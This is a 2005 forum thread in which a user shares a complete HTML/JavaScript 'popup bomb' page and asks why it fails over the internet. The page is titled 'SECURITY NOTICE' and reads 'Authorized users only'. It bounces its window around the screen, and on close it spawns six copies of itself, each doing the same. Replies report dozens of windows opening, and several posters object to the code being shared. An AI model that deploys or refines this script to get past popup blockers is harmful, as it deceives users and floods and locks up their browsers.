|
-
HTML w/Java Script web page issues
This code works on a local lan, but seems to fail over the internet. It is in no way harmful - just funny.
It should display a page. When that page is closed, it should display 6 small pages that bounce about, when a small page is closed it should display 6 small pages that bounce about, ...
I can't seem to figure what is wrong. My coding skills are limited to assembly, algol and cobol. I just play with modern stuff. Help.
Code:
<html>
<head>
<meta name="robots" content="NOINDEX, NOFOLLOW">
<meta name="MSSmartTagsPreventParsing" content="TRUE">
<title>SECURITY NOTICE</title>
</head>
<script language="Javascript">
<!--
var xOff = 5;
var yOff = 5;
var xPos = 400;
var yPos = -100;
var flagRun = 1;
function openWindow(url){
aWindow = window.open(url,"_blank", 'menubar=no,status=no,toolbar=noresizable=no,width=180,height=175,titlebar=no,alwaysRaised=yes');
}
function procreate(){
openWindow('Index.htm');
openWindow('Index.htm');
openWindow('Index.htm');
openWindow('Index.htm');
openWindow('Index.htm');
openWindow('Index.htm');
}
function newXlt(){
xOff = Math.ceil( 0 - 6 * Math.random()) * 5 - 10 ;
window.focus()}
function newXrt(){
xOff = Math.ceil(7 * Math.random()) * 5 - 10 ;
}
function newYup(){
yOff = Math.ceil( 0 - 6 * Math.random()) * 5 - 10 ;
}
function newYdn(){
yOff = Math.ceil( 7 * Math.random()) * 5 - 10 ;
}
function fOff(){
flagrun = 0;
}
function playBall(){
xPos += xOff;
yPos += yOff;
if (xPos > screen.width-175){
newXlt();
}
if (xPos < 0){
newXrt();
}
if (yPos > screen.height-100){
newYup();
}
if (yPos < 0){
newYdn();
}
if (flagRun == 1){
window.moveTo(xPos,yPos);
setTimeout('playBall()',1);
}
}
//-->
</script>
<body text=#ffffff bgColor=#000000 onload="flagRun=1;playBall();return true;" onUnLoad="procreate()" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0">
<table height="100%" width="100%">
<tbody>
<tr>
<td vAlign=center align=middle>
<blockquote>
<h3 align=middle>Authorized users only </h3>
<p> </p>
</blockquote>
<H1><font size="7" face="Wingdings">
J J</font></H1></td></tr></tbody></table>
</body>
</html>
Last edited by ua549; 07-29-2005 at 06:49 PM.
-
Snarky Quorums
Hah, I just opened it on the server I'm on in IE and it got 30 open windows before I could end-task it. I'd say it works. They were bouncing all over the screen.
-MrD
There is the theory of the moebius. A twist in the fabric of space where time becomes a loop.
-
Thanks for the info. I wonder why it doesn't work for me when I click on the link. It only works locally for me. I'm running IE as well. Maybe it is the SP2 popup blocker doing its job. Hmmmmm.
Last edited by ua549; 07-29-2005 at 07:29 PM.
-
 Originally Posted by ua549
Thanks for the info. I wonder why it doesn't work for me when I click on the link. It only works locally for me. I'm running IE as well. Maybe it is the SP2 popup blocker doing its job. Hmmmmm.
Running FF in Linux the first page started bouncing all over the place. Once I managed to close that tab (which wasn't particularly easy), nothing else occurred, but I imagine that's the pop-up blocker.
-
FWIW - absolutely nothing happened on my 98, using Mozilla.
Delete the Electoral College - Support
www.NationalPopularVote.com
"The world according to DRM Bozos"
I am a consumer, I'll buy anything
I am a sheep, I am cattle, I follow the herd
I am ignorant, a dumbass, and I am a bozo...
I am the epitome of the 'rank and file'
I am your next door neighbor
I am 95% of American Consumers
I will consume you
- If the light in your head hasn't come on yet,
I suggest you go get a new bulb!
-
Is there a way to replace the Java Script with straight HTML?
-
NullPointerException
Just an aside, but I do have to say this is very annoying. Please guard this code closely! I don't want every John Q. Internet putting stuff like this on their pages!!
Open Source is free like a puppy is free.
It's only when you look at an ant through a magnifying glass on a sunny day that you realise how often they burst into flames.
Understanding Evolution
-
I agree with rock ua;
though I do hope someone with coding knowledge can help you out with why it's not working the way you want -- just preferably through a PM perhaps. I can see the want/need for something like this to greet an Intruder/trespasser/Haxor with, at a 1st line of defense - especially on closed private networks - and even worse if they beyond this little toy. Just doesn't belong on the WWW, IMHO - and actually shouldn't even be do-able, or exploitable
also - I think my having Javascript turned Off in my browser may have something to do with it not doing anything on mine
Delete the Electoral College - Support
www.NationalPopularVote.com
"The world according to DRM Bozos"
I am a consumer, I'll buy anything
I am a sheep, I am cattle, I follow the herd
I am ignorant, a dumbass, and I am a bozo...
I am the epitome of the 'rank and file'
I am your next door neighbor
I am 95% of American Consumers
I will consume you
- If the light in your head hasn't come on yet,
I suggest you go get a new bulb!
Posting Permissions
- You may not post new threads
- You may not post replies
- You may not post attachments
- You may not edit your posts
-
Forum Rules
|
|